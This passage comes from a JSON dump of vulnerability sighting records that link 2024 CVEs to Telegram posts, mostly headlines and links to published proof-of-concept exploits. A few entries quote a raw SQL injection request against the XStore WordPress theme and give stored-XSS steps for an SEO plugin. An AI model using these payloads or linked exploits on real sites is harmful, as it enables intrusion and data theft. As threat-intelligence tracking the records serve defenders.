\u062f\u0633\u062a\u06af\u0627\u0647\u200c\u0647\u0627\u06cc\u06cc \u0631\u0627 \u062a\u062d\u062a\u200c\u062a\u0627\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f \u06a9\u0647 \u062f\u0631 \u0622\u0646\u200c\u0647\u0627 \u062b\u0628\u062a \u00abDNS Security\u00bb \u0641\u0639\u0627\u0644 \u0627\u0633\u062a. \u0647\u0645\u0686\u0646\u06cc\u0646 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0645\u062d\u0635\u0648\u0644 \u062a\u062d\u062a\u200c\u062a\u0627\u062b\u06cc\u0631 CVE-2024-3393 \u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u0644\u06cc\u0633\u062a \u0634\u062f\u0647\u200c\u0627\u0646\u062f.\n\n#Cybersecurity #Cyber_Attack #Palo_Alto_Networks #DoS #Bug #Firewall #DNS_Security #PANOS #NGFW #Denial_of_Service #\u0627\u0645\u0646\u06cc\u062a_\u0633\u0627\u06cc\u0628\u0631\u06cc #\u062d\u0645\u0644\u0647_\u0633\u0627\u06cc\u0628\u0631\u06cc #\u067e\u0627\u0644\u0648\u0622\u0644\u062a\u0648 #\u0628\u0627\u06af #\u0641\u0627\u06cc\u0631\u0648\u0627\u0644\n\n\u0645\u0637\u0627\u0644\u0639\u0647 \u06a9\u0627\u0645\u0644 \u062e\u0628\u0631 \ud83d\udc49\n\n\ud83c\udd94 @Takianco\n\ud83c\uddee\ud83c\uddf7", "creation_timestamp": "2024-12-30T13:58:01.000000Z"}, {"uuid": "ff9ddd02-4817-4f42-b622-85c90df6050c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33438", "type": "published-proof-of-concept", "source": "Telegram/Y6YhWWM6wSycucdpzi76AX4nxS_SF6-PLv3DnxvbRhHpVA", "content": "", "creation_timestamp": "2024-04-25T16:45:33.000000Z"}, {"uuid": "66d4d47f-6953-42ee-9406-9685761d7b0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33788", "type": "published-proof-of-concept", "source": "https://t.me/ZeroEthical_Course/111", "content": "Linksys routers POCs\n*\nCVE-2024-33788 - POC exploit\nCVE-2024-33789 - POC exploit", "creation_timestamp": "2024-05-07T21:10:44.000000Z"}, {"uuid": "f8d9f459-55c3-4d22-a374-54d8b1c4a79e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33559", "type": "published-proof-of-concept", "source": "https://t.me/ZeroEthical_Course/203", "content": "#exploit\n1. CVE-2024-32113:\nApache OFBiz Directory Traversal\nhttps://github.com/absholi7ly/Apache-OFBiz-Directory-Traversal-exploit\n\n2. CVE-2024-4367:\nArbitrary JavaScript execution in PDF.js\nhttps://codeanlabs.com/blog/research/cve-2024-4367-arbitrary-js-execution-in-pdf-js\n\n3. CVE-2024-33559:\nWordPress Theme XStore 9.3.8 - SQLi\nhttps://github.com/absholi7ly/WordPress-XStore-theme-SQL-Injection\n\n\ud83d\udcda ZeroEthical Course \ud83d\udc8e", "creation_timestamp": "2024-05-24T03:20:53.000000Z"}, {"uuid": "e967f696-b825-4f0f-b4e5-fe6ebcc52ea1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33544", "type": "published-proof-of-concept", "source": "https://t.me/TheDarkWebInformer/1775", "content": "\ud83d\udea8PoC RELEASED\ud83d\udea8Mass Exploit - CVE-2024-33544 < Unauthenticated < SQL Injection\n\nhttps://darkwebinformer.com/poc-released-mass-exploit-cve-2024-33544-unauthenticated-sql-injection/\n\nhttps://github.com/codeb0ss/CVE-2024-33544-PoC", "creation_timestamp": "2024-07-18T17:59:23.000000Z"}, {"uuid": "e3a9cac7-5b8e-4052-94cf-0b016f6701be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33113", "type": "published-proof-of-concept", "source": "https://t.me/TheDarkWebInformer/1384", "content": "\ud83d\udea8PoC Released\ud83d\udea8CVE-2024-33113 is a vulnerability in the D-LINK DIR-845L router that allows information disclosure through the bsc_sms_inbox.php file. The vulnerability arises from improper handling of the include() function, which can be exploited by manipulating the $file variable. This allows attackers to include arbitrary PHP scripts and potentially retrieve sensitive information such as the router's username and password.\n\nhttps://x.com/DarkWebInformer/status/1805385141998731320", "creation_timestamp": "2024-06-25T03:12:09.000000Z"}, {"uuid": "a2e63225-9ac6-4102-b1a8-148141eb8407", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33551", "type": "published-proof-of-concept", "source": "https://t.me/Hunt3rkill3rs1/228", "content": "CVE-2024-33551\n\u26d4\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL inj, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0432 8theme XStore, \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043a\u043e\u043c\u043c\u0435\u0440\u0446\u0438\u0438, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0439 \u043d\u0430 \u0431\u0430\u0437\u0435 WordPress. \n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b SQL \u0432 \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\nPOC\nPOST /?s=%27%3B+SELECT+*+FROM+wp_posts%3B+-- HTTP/1.1\nHost: example.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: keep-alive\nUpgrade-Insecure-Requests: 1", "creation_timestamp": "2024-05-17T14:08:04.000000Z"}, {"uuid": "5525b97d-59a3-4f42-8c9b-2a5cbb82d2c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3368", "type": "published-proof-of-concept", "source": "Telegram/QBqDK5N11DoHS9DV6R6GvVy3iAa2bKhOXUUof8K7tGZD", "content": "", "creation_timestamp": "2024-05-22T09:32:11.000000Z"}, {"uuid": "f6b2c5c1-885f-439a-b6a2-0eb8d621111d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33551", "type": "seen", "source": "Telegram/seW4YQz-REJyzTikkfHgsRZ4Ux5RhVM8gdZsQawfB68ACAph", "content": "", "creation_timestamp": "2025-02-21T22:10:26.000000Z"}, {"uuid": "9cfdb4d2-718c-4a2d-8a6b-8f24c661ea7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33570", "type": "seen", "source": "Telegram/G0QaD_ym-Bij5In6PfDCB8c5858EC1sXKsd0AJ_vX8QxB-qy", "content": "", "creation_timestamp": "2025-02-20T23:26:57.000000Z"}, {"uuid": "9d68893a-0dce-44a8-8e2c-48e060300c0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33352", "type": "seen", "source": "https://t.me/HackingInsights/7040", "content": "\u200aCVE-2024-33352: BlueStacks Vulnerability Puts Millions of Gamers at Risk\n\nhttps://securityonline.info/cve-2024-33352-bluestacks-vulnerability-puts-millions-of-gamers-at-risk/", "creation_timestamp": "2024-07-23T10:41:56.000000Z"}, {"uuid": "0bd0b506-6a10-4bf6-bd43-97c19df8e4c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3330", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/4454", "content": "\u200aCritical RCE Vulnerability Discovered in Spotfire Products: CVE-2024-3330 (CVSS 9.9)\n\nhttps://securityonline.info/critical-rce-vulnerability-discovered-in-spotfire-products-cve-2024-3330-cvss-9-9/", "creation_timestamp": "2024-07-02T11:12:42.000000Z"}, {"uuid": "0bf46b86-0520-4383-8668-c074edd8708c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33899", "type": "seen", "source": "https://t.me/HackingInsights/844", "content": "\u200aWinRAR Update Patches Text Vulnerability (CVE-2024-33899, CVE-2024-36052)\n\nhttps://securityonline.info/winrar-update-patches-text-vulnerability-cve-2024-33899-cve-2024-36052/", "creation_timestamp": "2024-05-23T19:33:10.000000Z"}, {"uuid": "68019889-e8c6-40a8-a1a8-87f068ff6e01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3368", "type": "seen", "source": "https://t.me/HackingInsights/723", "content": "\u200aCVE-2024-3368 Vulnerability in All in One SEO Plugin Threatens Millions of WordPress Sites\n\nhttps://securityonline.info/cve-2024-3368-vulnerability-in-all-in-one-seo-plugin-threatens-millions-of-wordpress-sites/", "creation_timestamp": "2024-05-21T15:29:59.000000Z"}, {"uuid": "1051a0f8-55de-4a9e-9199-6fa4fca86490", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33861", "type": "seen", "source": "https://t.me/HackingInsights/266", "content": "\u200aCVE-2024-33861: Patch Released for Qt Vulnerability Affecting Applications\n\nhttps://securityonline.info/cve-2024-33861-patch-released-for-qt-vulnerability-affecting-applications/", "creation_timestamp": "2024-05-10T14:21:52.000000Z"}, {"uuid": "cce190a0-a01b-4fc9-8933-4a64f1e46616", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33006", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/414", "content": "\u200aCVE-2024-33006: Critical SAP Vulnerability Exposes Systems to Complete Takeover\n\nhttps://securityonline.info/cve-2024-33006-critical-sap-vulnerability-exposes-systems-to-complete-takeover/", "creation_timestamp": "2024-05-14T17:13:02.000000Z"}, {"uuid": "2be17567-d518-46b4-a45d-2581372cd2af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33402", "type": "seen", "source": "https://t.me/HackingInsights/1055", "content": "CVE-2024-33402\nA SQL injection vulnerability in /model/approve_petty_cash.php in campcodes Complete Web-Based School Management System 1.0 allows attacker to execute arbitrary SQL commands via the id parameter.", "creation_timestamp": "2024-05-28T20:37:54.000000Z"}, {"uuid": "eb8dbc1a-6709-4d48-bec4-61aba13f29d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33788", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/86", "content": "Linksys Router Flaw Let Attackers Perform Command Injection, PoC Released\nhttps://gbhackers.com/linksys-router-flaw-command-injection/\n\nLinksys routers were discovered with two vulnerabilities: CVE-2024-33788 and CVE-2024-33789. These vulnerabilities were associated with Command Injection on Linksys routers. The severity of these vulnerabilities is yet to be categorized. However, a proof-of-concept has been published for these two vulnerabilities. These vulnerabilities existed in Linksys E5000 routers, which had insufficient validation of user inputs. Threat [\u2026]\nThe post Linksys Router Flaw Let Attackers Perform Command Injection, PoC Released (https://gbhackers.com/linksys-router-flaw-command-injection/) appeared first on GBHackers on Security | #1 Globally Trusted Cyber Security News Platform (https://gbhackers.com/).", "creation_timestamp": "2024-05-06T10:40:00.000000Z"}, {"uuid": "fe68f315-b572-4d56-a205-09c6531ca0c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33789", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/86", "content": "Linksys Router Flaw Let Attackers Perform Command Injection, PoC Released\nhttps://gbhackers.com/linksys-router-flaw-command-injection/\n\nLinksys routers were discovered with two vulnerabilities: CVE-2024-33788 and CVE-2024-33789. These vulnerabilities were associated with Command Injection on Linksys routers. The severity of these vulnerabilities is yet to be categorized. However, a proof-of-concept has been published for these two vulnerabilities. These vulnerabilities existed in Linksys E5000 routers, which had insufficient validation of user inputs. Threat [\u2026]\nThe post Linksys Router Flaw Let Attackers Perform Command Injection, PoC Released (https://gbhackers.com/linksys-router-flaw-command-injection/) appeared first on GBHackers on Security | #1 Globally Trusted Cyber Security News Platform (https://gbhackers.com/).", "creation_timestamp": "2024-05-06T10:40:00.000000Z"}, {"uuid": "5a39e811-f89e-446b-a310-2af4c400c7ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33352", "type": "published-proof-of-concept", "source": "Telegram/8YUzU5Wkwl-5fVrbtRBQ5wa0t-cfwpILGHkMAq4_N2xZa1c", "content": "", "creation_timestamp": "2024-11-26T11:20:19.000000Z"}, {"uuid": "1d1c88f1-4963-4524-8c4d-b9ead0356b63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33606", "type": "seen", "source": "Telegram/DHvcvl5SGbghTlx4mfoG3aYCfH0EC_Nz2xoa03BAwKzrHw2-", "content": "", "creation_timestamp": "2025-03-02T11:46:30.000000Z"}, {"uuid": "9642ad9b-d18b-4f7f-923a-5cac7117ac19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3358", "type": "seen", "source": "Telegram/Jh4F-IvLvTX2EoIVm8LscAQIPwo0vai_x-IOGLeAkri1uOQ9", "content": "", "creation_timestamp": "2025-02-14T10:01:40.000000Z"}, {"uuid": "4ce5c664-0f1d-4c97-900c-55327b6ae9c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3357", "type": "seen", "source": "Telegram/rbC3hE-68WmvxtERtffhzdSb06Fslcan9wJWAIBHACOs7Pwc", "content": "", "creation_timestamp": "2025-02-14T10:01:40.000000Z"}, {"uuid": "350dd33f-61d6-4774-817b-454cbbf346d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33595", "type": "seen", "source": "Telegram/V_a4XV4bQYZVtzcTuPm-6B7ojyWwnTy3kFB5dMOAJ7BnmzGu", "content": "", "creation_timestamp": "2025-02-06T02:40:19.000000Z"}, {"uuid": "06be9f57-6d33-4404-853c-3487b585c93c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33553", "type": "seen", "source": "Telegram/VpnWbnQ87uuFml2Ip3AZCR0k2GeyYEjje_q3nJpLGIO3rieK", "content": "", "creation_timestamp": "2025-02-21T22:10:26.000000Z"}, {"uuid": "4b5be6a8-f209-4be7-aaac-ffee040cbc88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33558", "type": "seen", "source": "Telegram/2EV70mnLbSLSXm24xGAwPlT4erpF5KuKGzDwPjWHKjyqW62j", "content": "", "creation_timestamp": "2025-02-21T22:10:26.000000Z"}, {"uuid": "a8d393e8-47bd-4dd8-a13b-c5504df43894", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3303", "type": "seen", "source": "Telegram/5oZPxUwCeSpxqTvn-RrJvSM2an_33_55C4Tx7JUga3eKCT6f", "content": "", "creation_timestamp": "2025-02-14T10:06:09.000000Z"}, {"uuid": "cdad9419-bee4-409b-ac9e-429886c3c5e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3303", "type": "seen", "source": "Telegram/Inj_2tVgJ-m67gP5WRu-nTEC9UHsztZPCacyc4i5mJMrd8TU", "content": "", "creation_timestamp": "2025-02-14T10:08:09.000000Z"}, {"uuid": "1d33e9fe-bc03-40c2-bbae-846e38b756a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33469", "type": "seen", "source": "Telegram/ScJYSCc5BH4kSgWFo6nXtn4-2pXfOuViJylRdZIFuPL1VD2c", "content": "", "creation_timestamp": "2025-02-14T10:06:01.000000Z"}, {"uuid": "bc461958-1210-4501-ba5e-dfe7e483ff1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33589", "type": "seen", "source": "Telegram/5VEhCtlQG82I2qTfCoOVe4vigFLGKNZ1L_DWLbNGFlpm60Pu", "content": "", "creation_timestamp": "2025-02-14T09:47:00.000000Z"}, {"uuid": "15fc38b3-8051-42cb-823e-02f4580000d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33352", "type": "published-proof-of-concept", "source": "Telegram/SlLpqYBoe8bjD94C2jX3SH01yhUYncxa7tFrZU1lelBWPaaZ", "content": "", "creation_timestamp": "2024-07-23T18:35:23.000000Z"}, {"uuid": "76cbfbeb-260b-4595-a6a4-967e27bbcebe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33352", "type": "published-proof-of-concept", "source": "Telegram/lT-ZDdcvocIO41ywfVkIWATNmjlPPI5gjF6ftSTBveueuphZ", "content": "", "creation_timestamp": "2024-08-01T13:23:03.000000Z"}, {"uuid": "3f441607-b5ec-4b71-b97e-39c2dbb99b37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3368", "type": "published-proof-of-concept", "source": "https://t.me/openSource3/129", "content": "CVE ID : CVE-2024-3368\nSystem : wordpress < 4.6.1.1\nType : Stored xss\n\nExploit :\n\nAs a contributor, create a post and put the following payload in the \"Meta Description\" field:  Save the post (as a draft or submit for review), the XSS will be triggered when any user (like an admin) edit the post again\n\u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 :\n\u0643\u0645\u0633\u0627\u0647\u0645\u060c \u0642\u0645 \u0628\u0625\u0646\u0634\u0627\u0621 \u0645\u0646\u0634\u0648\u0631 \u0648\u0648\u0636\u0639 \u0627\u0644\u0628\u0627\u0644\u0648\u062f \u0627\u0644\u062a\u0627\u0644\u064a \u0641\u064a \u062d\u0642\u0644\n \"Meta Description \": \n\n \u0627\u062d\u0641\u0638 \u0627\u0644\u0645\u0646\u0634\u0648\u0631 (\u0643\u0645\u0633\u0648\u062f\u0629 \u0623\u0648 \u0623\u0631\u0633\u0644\u0647 \u0644\u0644\u0645\u0631\u0627\u062c\u0639\u0629)\u060c \u0648\u0633\u064a\u0642\u0648\u0645 XSS \u0628\u0630\u0644\u0643 \u064a\u062a\u0645 \u062a\u0634\u063a\u064a\u0644\u0647 \u0639\u0646\u062f\u0645\u0627 \u064a\u0642\u0648\u0645 \u0623\u064a \u0645\u0633\u062a\u062e\u062f\u0645 (\u0645\u062b\u0644 \u0627\u0644\u0645\u0633\u0624\u0648\u0644) \u0628\u062a\u062d\u0631\u064a\u0631 \u0627\u0644\u0645\u0646\u0634\u0648\u0631 \u0645\u0631\u0629 \u0623\u062e\u0631\u0649", "creation_timestamp": "2024-05-22T09:27:19.000000Z"}, {"uuid": "cdb7213a-b5b0-4c86-ae58-1ea23aa48870", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "Telegram/htc2li5xVeC7Ljwtah4b4Zwk-8Gt1IE-uoCuS5lRDw7ojg", "content": "", "creation_timestamp": "2024-12-27T09:13:54.000000Z"}, {"uuid": "c68f6fdf-f76d-497b-b377-2b7f330f9d4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33559", "type": "seen", "source": "https://t.me/arpsyndicate/4963", "content": "#ExploitObserverAlert\n\nCVE-2024-33559\n\nDESCRIPTION: Exploit Observer has 11 entries in 5 file formats related to CVE-2024-33559. Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in 8theme XStore allows SQL Injection.This issue affects XStore: from n/a through 9.3.5.\n\nFIRST-EPSS: 0.000850000\nARPS-PRIORITY: 0.9323837", "creation_timestamp": "2024-05-28T10:07:58.000000Z"}, {"uuid": "4af10abb-6161-41dd-8e51-70050a13adaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://t.me/ZeroDay_ru/370", "content": "#exploit\n1. CVE-2024-3393:\nPalo Alto Networks PAN-OS Malicious DNS Packet Vulnerability (DoS)\n\n2. CVE-2024-12908:\nDelinea Protocol Handler - RCE via Update Process\n\n3. CVE-2024-53677:\nUnrestricted Upload of File with Dangerous Type and RCE in Apache Struts\n\n4. CVE-2021-44967:\nLimeSurvey <=5.2 - RCE\n\n5. CVE-2024-47575:\nFortinet FortiManager Missing Authentication", "creation_timestamp": "2025-01-06T13:23:51.000000Z"}, {"uuid": "1fc67585-9c2b-4015-b632-8e4278fc56cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33299", "type": "published-proof-of-concept", "source": "Telegram/QXMR7F2jdeVfadE0UadP_87cUoa84idsq_cIO-k-scJwjtY", "content": "", "creation_timestamp": "2025-01-10T22:00:05.000000Z"}, {"uuid": "6795a4c8-a572-4e57-81e4-11c84318b5f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33298", "type": "published-proof-of-concept", "source": "Telegram/QXMR7F2jdeVfadE0UadP_87cUoa84idsq_cIO-k-scJwjtY", "content": "", "creation_timestamp": "2025-01-10T22:00:05.000000Z"}, {"uuid": "0e102223-ee37-432d-b20f-9d71e67c771e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33297", "type": "published-proof-of-concept", "source": "Telegram/QXMR7F2jdeVfadE0UadP_87cUoa84idsq_cIO-k-scJwjtY", "content": "", "creation_timestamp": "2025-01-10T22:00:05.000000Z"}, {"uuid": "a3300ab8-be9f-4a4f-8bbb-03f355a61320", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "published-proof-of-concept", "source": "Telegram/DyH3VVSYjE6whgCdDfZEkmad92IEsXBMlqI5Z10FttTgL14", "content": "", "creation_timestamp": "2025-01-10T04:00:07.000000Z"}, {"uuid": "52d35855-9eec-4e4c-af5f-f1f2da8ee085", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33789", "type": "published-proof-of-concept", "source": "Telegram/n4l3A4nqdKWkJP90q6TevPnQLe1mH-2iyeLXXLKqZU6a-CU", "content": "", "creation_timestamp": "2024-05-10T10:17:43.000000Z"}, {"uuid": "eec32afa-5d51-4006-a997-22e684fa36b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33551", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/2083", "content": "CVE-2024-33551\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL inj, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0432 8theme XStore, \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043a\u043e\u043c\u043c\u0435\u0440\u0446\u0438\u0438, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0439 \u043d\u0430 \u0431\u0430\u0437\u0435 WordPress. \n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b SQL \u0432 \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445.\n*\nPOC\nPOST /?s=%27%3B+SELECT+*+FROM+wp_posts%3B+-- HTTP/1.1\nHost: example.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: keep-alive\nUpgrade-Insecure-Requests: 1\n\n#wordpress #sql", "creation_timestamp": "2024-05-17T09:37:07.000000Z"}, {"uuid": "d3d1665c-b6f6-45ca-8544-d72562142404", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33788", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/2038", "content": "Linksys routers POCs\n*\nCVE-2024-33788 - POC exploit\nCVE-2024-33789 - POC exploit", "creation_timestamp": "2024-05-06T19:10:12.000000Z"}, {"uuid": "5260137a-572a-4bc5-a96a-5ea28d1b4d30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33789", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/2038", "content": "Linksys routers POCs\n*\nCVE-2024-33788 - POC exploit\nCVE-2024-33789 - POC exploit", "creation_timestamp": "2024-05-06T19:10:12.000000Z"}, {"uuid": "3130dfa1-0031-4157-b83f-7bcc8d950305", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33352", "type": "published-proof-of-concept", "source": "Telegram/SEnCVJxhjOaVAWrOQ1TsM3Vg9broAvFC9FsVM7ZHaSoej6U", "content": "", "creation_timestamp": "2024-08-09T00:41:34.000000Z"}, {"uuid": "51ab2432-733f-4501-809b-009c9206f0f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33896", "type": "published-proof-of-concept", "source": "Telegram/FGhuzhhAe6Gq9kHPN86iLKqISG7ofL0i3LI-GRXpWGXlFE4", "content": "", "creation_timestamp": "2024-08-20T17:25:59.000000Z"}, {"uuid": "de9a391c-6ca4-4958-9ecb-523fd90f84d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", 